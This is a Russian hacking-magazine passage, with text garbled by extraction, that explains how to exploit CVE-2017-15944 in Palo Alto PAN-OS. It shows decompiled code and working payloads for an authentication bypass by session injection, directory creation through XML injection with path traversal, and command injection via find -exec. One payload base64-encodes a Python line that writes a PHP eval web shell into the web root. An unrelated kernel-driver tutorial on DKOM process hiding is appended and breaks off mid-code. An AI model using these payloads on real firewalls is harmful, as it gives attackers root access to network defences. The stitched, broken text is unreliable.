в  котором про исхо дит работа с перемен ной  . Его мож но выз вать
без авто риза ции.

cms_changeDeviceContext.esp
$_SESSION

/var/appweb/htdocs/esp/cms_changeDeviceContext.esp
02: WebSession::start();
03: require 'panmodule.php';
04: 
05: foreach ($_SESSION as $key => $value) {
06:  if (strpos($key, "dSId_") === 0) {
07:   unset($_SESSION[$key]);
08:  }
09: }
10: /** @noinspection PhpUndefinedFunctionInspection */
11: $string_argout = panUserSetDeviceLocation($_SESSION['user'], $
_GET['device'], 0, new php_string_argout());

Фун кция   находит ся в под гру жаемой биб лиоте ке
.

panUserSetDeviceLocation
/usr/lib/php/modules/panmodule.so

/etc/appweb3/php.ini
455: extension_dir = "/usr/lib/php/modules"
...
552: extension=panmodule.so

Что бы пос мотреть, что про исхо дит с передан ными в фун кцию парамет рами,
нам при годит ся дизас сем блер  IDA. Бла го сей час есть   —
ее нам впол не  хва тит,  потому  что биб лиоте ка  ском пилиро вана для архи тек‐ 
туры Intel 80386.

бес плат ная вер сия

Ди зас сем бли рова ние фун кции panUserSetDeviceLocation

Ат рибут   попада ет в фун кцию из URL парамет ра   (перемен‐ 
ная  ).  Далее  зна чение  попада ет  в 

.

deviceStr device
$_GET['device'] panPhpConvertString‐

ToLoc

panmodule.c
18464: pan_uint32_t __cdecl panUserSetDeviceLocation(char *cookie, 
char *deviceStr, int useWriteFmt, php_string_argout *string_argout)
18465: {
...
18498:   if ( panPhpConvertStringToLoc(deviceStr, &dloc) )

Ло гика работы со зна чени ем при мер но сле дующая.

Ло гика работы фун кции panPhpConvertStringToLoc

Зна чение до пер вого дво ето чия кон верти рует ся в десятич ное целое.

panmodule.c
19354:   strcpy(seps, ":");
...
19362:     v3 = __strtok_r(strCopy, seps, (char **)tmpBuf);
19363:     if ( v3 )
...
19377:           loc‐>loc = strtol(v3, 0, 10);

Про изво дит ся поиск сле дующе го дво ето чия, и дан ные меж ду дву мя дво ето‐ 
чиями  копиру ются  в  перемен ную  .  Раз мер  дан ных  равен  мак‐ 
симум  0x20  бай там.  Если  передан ное  зна чение  ока залось  боль шего  раз‐ 
мера, то все осталь ное отбра сыва ется.

deviceName

19370:           if ( v4 == 1 )
19371:             sstrncpy(loc‐>deviceName, v3, 32);

Да лее  идет  поиск  сле дующе го  сим вола  с  дво ето чием  и  выпол няет ся  ана‐ 
логич ная опе рация, толь ко для перемен ной  .vsysName

19373:             sstrncpy(loc‐>vsysName, v3, 32);

Пос ле  это го  получен ная  перемен ная    отправ ляет ся  в  фун кцию
 для даль нейшей обра бот ки.

deviceName
panPhpSetDeviceForSession

18505:     v4 = panPhpSetDeviceForSession(cookie, dloc.deviceName, 
errMsg, 0x200u);
...
20823: signed int __cdecl panPhpSetDeviceForSession(pan_char_t *
cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t 
bufSize)
20824: {
...
20829:   pan_char_t firstVsys[32]; // [sp+30h] [bp‐2Ch]@6
...
20846:     sstrncpy(firstVsys, "vsys1", 32);

В про цес се выпол нения этой фун кции про исхо дит вызов 
, которая уста нав лива ет зна чения перемен ных   и 

в соот ветс твии с передан ными дан ными.

panPhpSetDevice‐
AndVsysForSession dloc loc

19328:   panPhpSetSessionVar("dloc", tmpLocStr);
19329:   tmpLoc.loc = (unsigned int)panSwalIsVsysName(vsysName) < 1 ?
128 : 16;

19330:   if ( vsysName )
19331:   {
19332:     if ( !*vsysName )
19333:       tmpLoc.loc = 8;
19334:     sstrncpy(tmpLoc.vsysName, vsysName, 32);
19335:     panPhpConvertLocToString(&tmpLoc, tmpLocStr, 0x100u);
19336:     panPhpSetSessionVar("loc", tmpLocStr);

Сде лаем вот такой зап рос:

https://panos.visualhack:4443/esp/cms_changeDeviceContext.
esp?device=1024:aaaa:bbbb

Зап рос на соз дание фай ла сес сии и записи в нее перемен ных

Пос ле чте ния дан ных сес сии перемен ные будут иметь сле дующие зна чения:

dloc|s:6:"8:aaaa";loc|s:13:"16:aaaa:vsys1";
dloc|s:6:"8:aaaa";
loc|s:13:"16:aaaa:vsys1";
dloc = "8:aaaa"
loc  = "16:aaaa:vsys1"

Те перь  при  каж дом  зап росе  будет  про верять ся  валид ность  сес сии
при помощи  , в рам ках которой будет выпол нять ся

  из  уже  извес тной  нам  биб лиоте ки 
.

panCheckSessionExpired
panBuildQueryCheckSessionExpired
/usr/local/lib/shobjs/libpanApiWgetFilter.so

libpanApiWgetFilter.c
1058: pan_result_t __cdecl panCheckSessionExpired(ptrFuncResult 
result, ptrAuthFilter me)
1059: {
...
1079:   retval = panBuildQueryCheckSessionExpired(&myFuncResult, me, 
0);

libpanApiWgetFilter.c
1037: pan_result_t __cdecl panBuildQueryCheckSessionExpired(ptrFun
cResult result, ptrAuthFilter me, bool refresh)
1038: {
1039:   pan_char_t *user; // ST1C_4@1
1040:   const char *v4; // eax@2
1041:   int v6; // [sp+Ch] [bp‐1Ch]@1
1042: 
1043:   user = myGetStageData(me‐>conn, "panAuthFilter.user");
1044:   pan_string_buffer_appendf(result‐>data.str, "<request 
cmd='op' cookie='%s' %s", user, &unk_8665);
1045:   if ( refresh )
1046:     v4 = "yes";
1047:   else
1048:     v4 = "no";
1049:   pan_string_buffer_appendf(result‐>data.str, " refresh='%s'>",
v4, v6);

1050:   pan_string_buffer_append(result‐>data.str, "<operations 
xml='yes'><show><cli><idle‐timeout/></cli></show>");
1051:   pan_string_buffer_append(result‐>data.str, "</operations></
request>");
1052:   return 0;
1053: }

Эта фун кция фор миру ет  XML‐зап рос  к  бэкен ду,  который  дол жен  дать  ответ
о жиз неспо соб ности исполь зуемой сес сии.

Что бы  выпол нение  переш ло  в  эту  вет ку  кода,  нуж на  перемен ная  .
Это  не  проб лема,  ведь  у  нас  на  при мете  име ется  не  сов сем  кор рек тно
написан ный пар сер дан ных из фай ла сес сии. Все, что нам нуж но, — это заин‐ 
жектить тре буемую перемен ную.

user

https://panos.visualhack:4443/esp/cms_changeDeviceContext.
esp?device=1024:aaaa%27";user|s:

Инъ екция перемен ной в сес сию

Здесь:

dloc|s:15:"8:aaaa'";user|s";loc|s:22:"16:aaaa'";user|s:vsys1";
dloc|s:15:"8:aaaa'";
user|s";loc|s:22:"16:aaaa'";
user|s:vsys1";

Пос ле  такого  зап роса  перемен ная    ( )  ста новит ся
рав ной  .  А  резуль татом работы фун кции 

 будет сле дующий XML‐зап рос:

user panAuthFilter.user
16:aaaa' panBuildQueryCheckSes‐

sionExpired

<request cmd='op' cookie='16:aaaa''  refresh='no'>
   <operations xml='yes'>
       <show><cli><idle‐timeout/></cli></show>
   </operations>
</request>

До пол нитель ная оди нар ная кавыч ка дела ет XML невалид ным, и пар сер вер‐ 
нет ошиб ку вида

<response status="error" code="18">
   <msg>
       <line>Malformed Request</line>
   </msg>
</response>

Од нако  фун кция    все  рав но  вер нет  еди ницу,
это будет озна чать, что аутен тифика ция прой дена и сес сия валид на.

panCheckSessionExpired

libpanApiWgetFilter.c
1337:           if ( panCheckSessionExpired(ptrMyFuncResult, ptrMyA
uthFilter) == 2 )
1338:           {
...
1341:           }
1342:           else
1343:           {
1344:             mprLog(globalMpr, 9, "panAuthFilter:openAuthFilter 
%s We are done!!!", ptrMyAuthFilter‐>conn‐>request‐>url);
1345:           }

Про верить успешность обхо да авто риза ции мож но на отла доч ной стра нице:
.https://panos.visualhack:4443/php/utils/debug.php

Ус пешный обход авто риза ции и заг ружен ная стра ница отладки

Пос ле  соз дания  такой  сес сии  ты  смо жешь  ходить  по  пап кам,  которые  зак‐ 
рыты дирек тивой  .panAuthCheck

Продолжение статьи →

https://twitter.com/iamsecurity
https://www.paloaltonetworks.com/products/new/new-panos8-0
https://nvd.nist.gov/vuln/detail/CVE-2017-15944
https://secure.paloalto.com/download_software/
https://www.hex-rays.com/products/ida/support/download_freeware.shtml


ГАСИМ ФАЙРВОЛ
УЧИМСЯ ЭКСПЛУАТИРОВАТЬ КРИТИЧЕСКУЮ

УЯЗВИМОСТЬ В ОС PALO ALTO NETWORKS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

СОЗДАНИЕ ДИРЕКТОРИЙ
Пе рехо дим  к  сле дующей  уяз вимос ти.  Как  и  в  любой  сов ремен ной  сис теме,
в PAN‐OS име ется API. Что бы делать пря мые зап росы к нему, мож но исполь‐ 
зовать скрипт   из пап ки с ути лита ми.route.php

Од нако  дос туп  к  скрип ту  воз можен  толь ко  для  авто ризо ван ных  поль‐ 
зовате лей. Это не проб лема, ведь у нас уже име ется готовый обход. Так что
сме лее  под став ляй  в  зап рос  иден тифика тор  сес сии,  получен ный  манипу‐ 
ляци ями из прош лого раз дела, и дело в шля пе.

/var/appweb/htdocs/php/utils/router.php
3: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/
common.php');
4: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/
ExtDirect.php');
5: 
6: class ExtDirect_Router extends RouterAbstract {
7:     private $_api;

Нуж ный метод мож но вызывать, ука зывая его наз вание пос ле router.php. Нап‐ 
ример,  что бы  выпол нить  ,  дела ем  зап рос
к https://panos.visualhack:4443/php/utils/router.php/Administrator.get. Все прос‐ 
то.  По  счас тли вой  слу чай нос ти  это  имен но  тот  метод,  что  нам  инте ресен.
Сна чала  соз дает ся  экзем пляр  клас са  ,  который  явля ется
нас ледни ком  .

Administrator.get

ExtDirect_Router
RouterAbstract

/var/appweb/htdocs/php/utils/router.php
6: class ExtDirect_Router extends RouterAbstract {
7:     private $_api;
...
86: $router = new ExtDirect_Router();
87: Http::headerType('json');
88: echo $router‐>getResponse();

Ме тод    вызыва ет  ,  а  в  качес тве аргу мен та исполь зует
дан ные, которые мы переда ем в зап росе в виде JSON.

getResponse dispatch

/var/appweb/htdocs/php/include/RouterAbstract.php
111:     public function getResponse(array $requestData=array()) {
112:         if (empty($requestData))
113:             $requestData=$GLOBALS;
114: 
115:         return $this‐>dispatch($requestData);
116:     }

/var/appweb/htdocs/php/include/RouterAbstract.php
25:     private function dispatch(array $requestData) {
26:         $request  = $this‐>parseRequest($requestData);

Ме тод    исполь зует  фун кцию  ,  что бы  пред ста вить
передан ные дан ные в виде объ екта.

parseRequest json_decode

/var/appweb/htdocs/php/include/RouterAbstract.php
18:     protected function parseRequest(array $requestData) {
19:         if (isset($requestData['HTTP_RAW_POST_DATA'])) {
20:             return json_decode($requestData['HTTP_RAW_POST_DATA'
]);
21:         }
22:         return null;
23:     }

Возь мем такой более‐менее валид ный зап рос.

{
   "action": "PanDirect",
   "method": "execute",
   "data": [
       "07c5807d0d927dcd0980f86024e5208b",
       "Administrator.get",
       {
           "changeMyPassword": true,
           "template": "asd",
           "id": "admin"
       }
   ],
   "type": "rpc",
   "tid": 713
}

Пос ле того как JSON кон верти рует ся в объ ект, метод   про веря ет, сущес‐ 
тву ет ли ука зан ный класс и метод из парамет ров   и    соот ветс‐ 
твен но.

rpc
action method

/var/appweb/htdocs/php/include/RouterAbstract.php
27:         $response = $this‐>rpc($request);

/var/appweb/htdocs/php/include/RouterAbstract.php
49:     private function rpc($request) {
50:         try {
51:             $class  = Xml::escape($request‐>action);
52:             $method = Xml::escape($request‐>method);
53:             $tid = Xml::escape($request‐>tid);
54:             $params = $request‐>data;
55: 
56:             $v=$this‐>isValidMethod($class, $method);

Сле дующим шагом  соз дает ся  объ ект  клас са,  который  ука зан  в 
,  в  нашем  слу чае  это  .  Пос леду ющий  вызов 

  при водит  к  выпол нению    где  в  качес тве
парамет ров ука заны дан ные из мас сива  .

$request‐>
action PanDirect call_user_‐
func_array PanDirect‐>execute

data

74:             $instance= new $request‐>action;
...
77:             $retval=call_user_func_array(array($instance,$method)
, $params);

Ло гика это го метода сле дующая.

/var/appweb/htdocs/php/include/PanDirectLite.php
59:     function execute($callFunction, $jsonArgs) {
60:         /* @var $reflection ReflectionClass */
61:         /* @var $method ReflectionMethod */
62:         list($reflection, $isStatic, $method) = $this‐>checkV
alidRemoteCall($callFunction, true);
63:         if ($isStatic) {
64:             return $method‐>invokeArgs(NULL, array($jsonArgs));
65:         } else {
66:             $obj = $reflection‐>newInstanceArgs(array($jsonArgs))
;
67:             return $obj‐>$method();
68:         }
69:     }

  выпол няет  про вер ку  метода:  объ явлен  он  ста‐ 
тичес ким или нет;

• checkValidRemoteCall

ес ли да, то выпол няет ся его пря мой вызов. Если нет, то перемен ная 
ста новит ся экзем пля ром ука зан ного клас са. В нашем слу чае это 

;

• $obj

Admin

istrator

 вызыва ет ука зан ный метод, в нашем слу чае это  .• $obj>$method() get

Ес ли в аргу мен тах был ука зан флаг  , то про исхо дит вызов
метода  .

changeMyPassword
getConfigByXpath

/var/appweb/htdocs/php/device/Administrator.php
10: class Administrator extends ManagementConfigAbstraction {
...
85:     public function get() {
...
86:         // detail viewer
87:         if ( isset($this‐>jsonArgs‐>changeMyPassword) ) {
88:             return Direct::getConfigByXpath("/config/mgt‐config/
users/entry[@name='" . $this‐>jsonArgs‐>id . "']");

Этот метод фор миру ет  , который будет отправ лен бэкен ду  .xpath mgmtsrvr

/var/appweb/htdocs/php/include/Direct.php
688:     static function getConfigByXpath($xpath, $attribute=null, $
options=null) {
689:         $req = XmlRequest::get($xpath, $attribute);
690:         return $xmlDoc = Backend::getArray($req, $options);
691:     }

/var/appweb/htdocs/php/include/Backend.php
377:     static function getArray($req, $options=NULL, $connec
tionOptions = null) {
378:         $dom = self::getDom($req, $connectionOptions);

/var/appweb/htdocs/php/include/Backend.php
350:     static function getDom($msg, $connectionOptions = null) {
351:         $msg = self::massageMsg($msg);
352:         $data = self::getConnection()‐>send($msg, $connec
tionOptions);

/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
43:     function send($requestXml, $connectionOptions = null) {
...
50:             $this‐>writePayload($requestXml, $payloadLength);

/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
95:     public function writePayload(& $requestXml, $payloadLength) {
96:         socket_write($this‐>sock, $requestXml, $payloadLength);
97:     }

В резуль тате на сер вер ухо дит вот такой XML:

<request cmd="get"
   obj="/config/mgt‐config/users/entry[@name='admin']"
   cookie="cb3824b1b1fd3ac7138682ed67e03b8e"/>
</request>

При  обра бот ке  получен ного  зап роса  демон    выпол няет  фун кцию
.

mgmtsrvr
pan_mgmtsrvr_client_svc

mgmtsrvr.c
3603: void *__cdecl __noreturn pan_mgmtsrvr_client_svc(void *arg)
3604: {

И наконец, отра баты вает    из  огромной биб‐ 
лиоте ки  .  Фун кция  соз дает  вре мен ный
файл  XML  в  дирек тории 

, где   — это атри бут из тега  .

pan_jobmgr_store_job_result
/usr/local/lib/libpanmp_mp.so.1

/opt/pancfg/session/pan/user_tmp/{cookie}/{
jobid}.xml cookie request

Ди зас сем бли рован ный код фун кции pan_jobmgr_store_job_result

libpanmp_mp.so.1.c
401430: signed int __usercall pan_jobmgr_store_job_result@<eax>(int 
a1@<eax>, int a2@<edx>)
401431: {
...
401440:     if ( a1 )
401441:     {
401442:       snprintf(&v5, 0x400u, "%s%s", "/opt/pancfg/session/pan/
user_tmp/", *(_DWORD *)(a1 + 476));
401443:       if ( pan_dir_create_tree(&v5) >= 0 )

Вот здесь и зак ралась проб лема. Пар сер никак не филь тру ет поль зователь‐ 
ские дан ные, поэто му воз можна XML‐инъ екция, бла года ря которой мы можем
ука зать  атри бут  .  При  обра бот ке  этой  задачи  будет  соз дана  пап ка
с про изволь ным име нем. А исполь зуя тех нику path traversal, мы можем вый ти
из  ука зан ной  пап ки  и  соз дать  дирек торию  в  любом  мес те  на  дис ке,  так
как все это дело отра баты вает от рута. :)

cookie

Вот такой зап рос будет соз давать пап ку jbfc в дирек тории tmp:

{
   "action": "PanDirect",
   "method": "execute",
   "data": [
       "07c5807d0d927dcd0980f86024e5208b",
       "Administrator.get",
       {
           "changeMyPassword": true,
           "template": "asd",
           "id": "admin']\" async‐mode='yes' refresh='yes' 
сookie='../../../../../../tmp/jbfc'/>\u0000"
       }
   ],
   "type": "rpc",
   "tid": 713
}

Что бы  отбро сить  те  атри буты,  которые  добав ляет  вызов 
, вос поль зуем ся ста рым доб рым null‐бай том.

XmlRequest::get(
$xpath, $attribute)

/var/appweb/htdocs/php/include/XmlRequest.php
39:     static function get($xpath, $attributes = null) {
40:         return sprintf('<request cmd=\'get\' obj="%s" cookie="%s"
%s></request>',
41:             $xpath, Session::cookie(), self::appendAttributes($
attributes));
42:     }

ДОРОГА К RCE
На конец‐то  мы  приб лизились  к  самому  инте рес ному  —  выпол нению  про‐ 
изволь ных команд в сис теме.

Та кие  слож ные  сис темы  не  обхо дят ся  без  пла ниров щика  заданий,  вот
и  здесь  кру тит ся  демон  cron  и  выпол няет  раз ные  скрип ты.  Один  из  них —
это  ,  он  вызыва ет 

, который отве чает за пере индекса цию дан ных в БД.
/usr/local/bin/genindex_batch.sh /usr/local/bin/

genindex.sh

/usr/local/bin/genindex_batch.sh
9: /usr/local/bin/genindex.sh $date >> /var/log/pan/indexgen.log 2>&1

Здесь есть инте рес ный кусок кода, который выпол няет поиск фай лов в дирек‐ 
тории   (/opt/pancfg/mgmt/logdb/$dir/1).$PAN_BASE_DIR/logdb/$dir/1

genindex_batch.sh
2: export PAN_BASE_DIR=/opt/pancfg/mgmt

/usr/local/bin/genindex.sh
222:    echo "Updating indices for $db db"
223:    for day in `find $PAN_BASE_DIR/logdb/$dir/1 ‐mindepth 1 ‐
maxdepth 1 ‐mtime ‐30 | sort ‐r`

За тем скрипт про бега ет по получен ному спис ку и выпол няет некие коман ды.
Нас  инте ресу ют  не  сами  коман ды,  а  то,  что  имя  дирек тории  (перемен ная

) попада ет в исполня емую стро ку.$day

/usr/local/bin/genindex.sh
227:      for logfile in `find $day ‐mmin +5 ‐name pan.*.log | sort ‐
r`

Те перь, исполь зуя опи сан ную тех нику соз дания дирек торий с про изволь ным
име нем,  мы  смо жем  внед рить  парамет ры  в  вызов  бинар ника  find.  Далеко
ходить не нуж но, ведь у него есть замеча тель ный параметр  .‐exec

Наз вание говорит само за себя: пос ле каж дого най ден ного фай ла выпол‐ 
няет ся ука зан ная там коман да. UNIX‐подоб ные сис темы отно сят ся к наз вани‐ 
ям фай лов и катало гов далеко не так стро го, как Windows. По боль шому сче ту
зап рещены толь ко сим волы сле ша ( ) и null‐байт  ( ),  все осталь ное мож но
спо кой но исполь зовать. В PoC для исполне ния команд исполь зует ся Python
и Base64.

/ \0

f=open('/var/appweb/htdocs/poc.php', 'w');f.write("<?php @eval(
$_POST['jbfcthere']);?>");f.close();
python ‐c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd
3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjdGhlcmUnXSk7Pz
4iKTtmLmNsb3NlKCk7".decode("base64"))

В качес тве демонс тра ции ука зан набор команд, которые соз дают PHP‐шелл,
дос тупный  из  бра узе ра.  По  умол чанию  веб‐рут  рас полага ется  по  адре су 

, поэто му файл poc.php соз дает ся имен но там./var/appweb/htdocs/

{
   "action": "PanDirect",
   "method": "execute",
   "data": [
       "07c5807d0d927dcd0980f86024e5208b",
       "Administrator.get",
       {
           "changeMyPassword": true,
           "template": "asd",
           "id": "admin']\" async‐mode='yes' refresh='yes' 
cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* ‐print 
‐exec python ‐c exec(\"Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLn
BocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjd2Fza
GVyZSddKTs/PiIpO2YuY2xvc2UoKTs=\".decode(\"base64\")) ;'/>\u0000"
       }
   ],
   "type": "rpc",
   "tid": 713
}

Ра зуме ется,  ты  можешь  исполь зовать  свои  коман ды,  толь ко  обра ти  вни‐ 
мание:  иног да  в  Base64  встре чают ся  сле ши,  не  забывай  их  экра ниро вать.
Так же  дер жи  в  уме,  что  раз мер  наз вания  может  быть  не  боль ше  255  сим‐ 
волов.

Пос ле  того  как  зап рос  выпол нится,  нуж но  подож дать,  пока  выпол нится
задача по индекса ции. Она отра баты вает на 0, 15, 30 и 45‐й минуте каж дого
часа, то есть каж дые пят надцать минут.

/etc/cron.d/indexgen
SHELL=/bin/bash
0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh

Ус пешная экс плу ата ция PAN‐OS

Го товые PoC ты можешь най ти   и  .тут тут

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Вот  такие  инте рес ные  уяз вимос ти  наш лись  в  опе раци онке  устрой ства,
которое  за  немалые  день ги  защища ет  кор поратив ную  безопас ность.  Хоть
в  офи циаль ном  руководс тве  и  говорит ся  о  том,  что  панель ка,  дос тупная
из интерне та, — это bad practice, подоб ные решения час тень ко встре чают ся.
Нап ример,  нехит рым  зап росом  в  Shodan  мож но  отыс кать  нес коль ко  тысяч
таких устрой ств, спо кой но дос тупных извне.

Хо чу  так же  напом нить,  что  коман ды  ата кующе го  выпол няют ся  от  име ни
супер поль зовате ля. Это зна чит, что сис тема будет ском про мети рова на пол‐ 
ностью. А если учесть, что это фай рвол, то импакт от такой ата ки может стать
колос саль ным.

Тем  не  менее  баги  зак рыты,  пат чи  выпуще ны,  спе ши  обно вить ся,  если
в тво ем ведении одна из таких машин.

http://man7.org/linux/man-pages/man1/find.1.html
https://pastebin.com/f1VRxMNk
https://pastebin.com/C4ApmVFx
https://vimeo.com/260264335
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ВЗЛОМ

Все  мало‐маль ски  серь езные  защит ные  при ложе ния,  будь
то  фай рво лы  или  анти виру сы,  исполь зуют  собс твен ные
модули режима ядра (ring 0), через которые работа ет боль‐ 
шинс тво  их  фун кций:  защита  про цес сов  от  завер шения,
филь тры  раз личных  событий,  получе ние  акту аль ной
информа ции  о  сос тоянии  сетево го  тра фика  и  количес тве
про цес сов в сис теме. Если у прог раммы есть такой драй вер,
то  про бовать  скры вать ся  от  нее  из  режима  поль зовате ля
(ring  3)  бес смыс ленно.  Так  же  бес полез но  пытать ся  на  нее
как‐то  воз дей ство вать.  Решение  —  написать  собс твен ный
драй вер. В этой статье я покажу, как это дела ется.

INFO

Про цес сорные  архи тек туры  x86  и  x64  име ют
четыре  коль ца  защиты,  из  которых  в  Windows
по  фак ту  исполь зуют ся  все го  два  —  это  ring  3
(режим  поль зовате ля)  и  ring  0  (режим  ядра).
Быту ет  мне ние,  что  код  режима  ядра  —  самый
при виле гиро ван ный  и  «ниже»  ничего  нет.
На  самом  деле  архи тек тура  x86/x64  поз воля ет
опус кать ся  еще  ниже:  это  тех нология  вир туали‐ 
зации (hypervisor mode), которая счи тает ся коль‐ 
цом −1 (ring −1), и режим сис темно го управле ния
(System Management  Mode,  SMM),  счи тающий ся
коль цом −2  (ring −2),  которо му  дос тупна  память
режима ядра и гипер визора.

Итак, мы решили писать собс твен ный драй вер. Нач нем с выбора инс тру мен‐ 
тария.  Я  советую  исполь зовать  Microsoft  Visual  Studio,  как  наибо лее  user‐
friendly IDE. Так же необ ходимо будет уста новить Windows SDK и Windows Dri‐
ver Kit (WDK) для тво ей вер сии ОС. Кро ме того, я край не рекомен дую запас‐ 
тись  такими  ути лита ми,  как    (прос мотр  отла доч ного  вывода), 

  (поз воля ет  получить  спи сок  всех  уста нов ленных  драй веров)  и 
 (удоб ный заг рузчик драй веров).

DebugView Dri‐
verView Kmd‐
Manager

Драй веры в Windows начиная с Vista могут быть как режима поль зовате ля
(User‐Mode Driver Framework, UMDF),  так и режима ядра  (Kernel‐Mode Driver
Framework,  KMDF).  Более  ран ние  драй веры  Windows  Driver  Model  (WDM)
появи лись в Windows 98 и сей час счи тают ся уста рев шими.

Драй веры  UMDF  име ют  нам ного  более  огра ничен ные  пра ва,  чем  KMDF,
одна ко они исполь зуют ся, нап ример, для управле ния устрой ства ми, под клю‐ 
чен ными по USB. Помимо огра ниче ний, у них есть оче вид ные плю сы: их нам‐ 
ного про ще отла живать, а ошиб ка в их написа нии не вызовет гло баль ный сис‐ 
темный сбой и синий экран смер ти. Такие драй веры име ют рас ширение dll.

Что  до  драй веров  режима  ядра  (KMDF),  то  им  доз волено  куда  боль ше,
а  рас ширение фай лов,  зак реплен ное  за  ними, — это  sys. В  этой  статье мы
научим ся  писать  прос тые  драй веры  режима  ядра,  напишем  драй вер
для  скры тия  про цес сов  методом  DKOM  (Direct  Kernel  Object  Manipulation)
и его заг рузчик.

СОЗДАНИЕ ДРАЙВЕРА KMDF
Пос ле того как ты соз дашь про ект драй вера, Visual Studio авто мати чес ки нас‐ 
тро ит  некото рые  парамет ры.  Про ект  будет  ком пилиро вать ся  в  бинар ный
файл  в  соот ветс твии  с  тем,  какая  выб рана  под систе ма.  Наш  вари ант  —
это NATIVE, под систе ма низ кого уров ня, как раз для того, что бы писать драй‐ 
веры.

Точ ка вхо да в драй вер
Стро го говоря, точ ка вхо да в драй вер может быть любой — мы можем сами
ее опре делить, добавив к парамет рам ком понов ки про екта 

, где   — наз вание фун кции, которую мы хотим сде лать
стар товой.  Если  в  обыч ных  при ложе ниях  основная фун кция  обыч но  называ‐ 
ется main, то в драй верах точ ку вхо да при нято называть DriverEntry.

‐entry:[Driver‐
Entry] [DriverEntry]

Выг лядеть это будет так:

NTSTATUS DriverEntry (PDRIVER_OBJECT pDriverObject, PUNICODE_STRING 
pRegistryPath);

Да вай  прой дем ся  по  парамет рам,  которые  переда ются  .
  име ет  тип  ,  это  зна чит,  что  это  ука затель

на струк туру  , которая содер жит информа цию о нашем драй‐ 
вере. Мы  можем  менять  некото рые  поля  этой  струк туры,  тем  самым  меняя
свой ства драй вера. Вто рой параметр име ет  тип  ,  который
озна чает ука затель на стро ку типа  . Она, в свою оче редь, ука зыва ет,
где в сис темном реес тре хра нит ся информа ция о нашем драй вере.

DriverEntry
pDriverObject PDRIVER_OBJECT

DRIVER_OBJECT

PUNICODE_STRING
UNICODE

WARNING

Лю бая ошиб ка в драй вере может выз вать обще‐ 
сис темный  сбой  и  BSOD.  Веро ятна  потеря  дан‐ 
ных и пов режде ние сис темы. Все экспе римен ты я
рекомен дую про водить в вир туаль ной машине.

Interrupt Request Level (IRQL)
IRQL — это сво еоб разный «при ори тет» для драй веров. Чем выше  IRQL,  тем
мень шее чис ло дру гих драй веров будут пре рывать выпол нение нашего кода.
Сущес тву ет  нес коль ко  уров ней  IRQL:  Passive,  APC,  Dispatch  и  DIRQL.  Если
открыть  докумен тацию  MSDN  по  фун кци ям  WinAPI,  то  мож но  уви деть  при‐ 
меча ния,  которые  рег ламен тиру ют  уро вень  IRQL,  который  тре бует ся
для  обра щения  к  каж дой  фун кции.  Чем  выше  этот  уро вень,  тем  мень ше
WinAPI  нам  дос тупно  для  исполь зования.  Пер вые  три  уров ня  IRQL  исполь‐ 
зуют ся для син хро низа ции прог рам мных час тей ОС, уро вень DIRQL счи тает ся
аппа рат ным и самым высоким по срав нению с прог рам мны ми уров нями.

Па кеты зап роса вво да‑вывода (Input/Output Request Packet)
IRP — это зап росы, которые пос тупа ют к драй веру. Имен но при помощи IRP
один  драй вер  может  «поп росить»  сде лать  что‐то  дру гой  драй вер  либо
получить зап рос от прог раммы, которая им управля ет. IRP исполь зуют ся дис‐ 
петче ром  вво да‐вывода  ОС.  Что бы  научить  прог рамму  вос при нимать  наши
IRP,  мы  дол жны  зарегис три ровать  фун кцию  обратно го  вызова  и  нас тро ить
на нее мас сив ука зате лей на фун кции. Код весь ма прост:

for(x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
   pDriverObject‐>MajorFunction[x] = MyCallbackFunc;

А вот код фун кции‐заг лушки, которая всег да воз вра щает ста тус ный код 
. В этой фун кции мы обра баты ваем зап рос IRP.

STA‐
TUS_SUCCESS

NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
   pIrp‐>IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(pIrp, IO_NO_INCREMENT);
   return pIrp‐>IoStatus.Status;
}

Те перь любой зап рос к нашему драй веру вызовет фун кцию‐заг лушку, которая
всег да воз вра щает  . Но что, если нам нуж но поп росить драй‐ 
вер  сде лать  что‐то  кон крет ное,  нап ример  выз вать  опре делен ную фун кцию?
Для это го регис три руем управля ющую про цеду ру:

STATUS_SUCCESS

#define IRP_MY_FUNC 0x801

Здесь мы объ яви ли про цеду ру с име нем   и ее кодом —  .
Что бы  драй вер  ее  обра ботал,  мы  дол жны  нас тро ить  на  нее  ссыл ку,  соз дав
таким обра зом допол нитель ную точ ку вхо да в драй вер:

IRP_MY_FUNC 0x801

// Заполним все коды IRP ссылкой на функцию‐заглушку
for(x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
   pDriverObject‐>MajorFunction[x] = MyCallbackFunc;
// Настроим вызов функции MyCallbackControl на запрос IRP_MJ_DEVICE_C
ONTROL
pDriverObject‐>MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyCall
backControl;

Пос ле  это го  нам  нуж но  получить  ука затель  на  стек  IRP,  который  мы  будем
обра баты вать.  Это  дела ется  при  помощи фун кции 

, на вход которой пода ется ука затель на пакет. Кро ме это го, необ‐ 
ходимо будет  получить  от  дис петче ра  вво да‐вывода  раз меры буферов  вво‐ 
да‐вывода, что бы иметь воз можность переда вать и получать дан ные от поль‐ 
зователь ско го  при ложе ния.  Шаб лонный  код  кар каса  обра бот чика  управля‐ 
ющей про цеду ры:

IoGetCurrentIrpStack‐
Location

// Получаем указатель на стек IRP пакета
PIO_STACK_LOCATION pIrpSt = IoGetCurrentIrpStackLocation(pIrp);
// Получаем размер буфера ввода
ULONG InBufLen  = IrpStack‐>Parameters.DeviceIoControl.InputB
ufferLength;
// Получаем размер буфера вывода
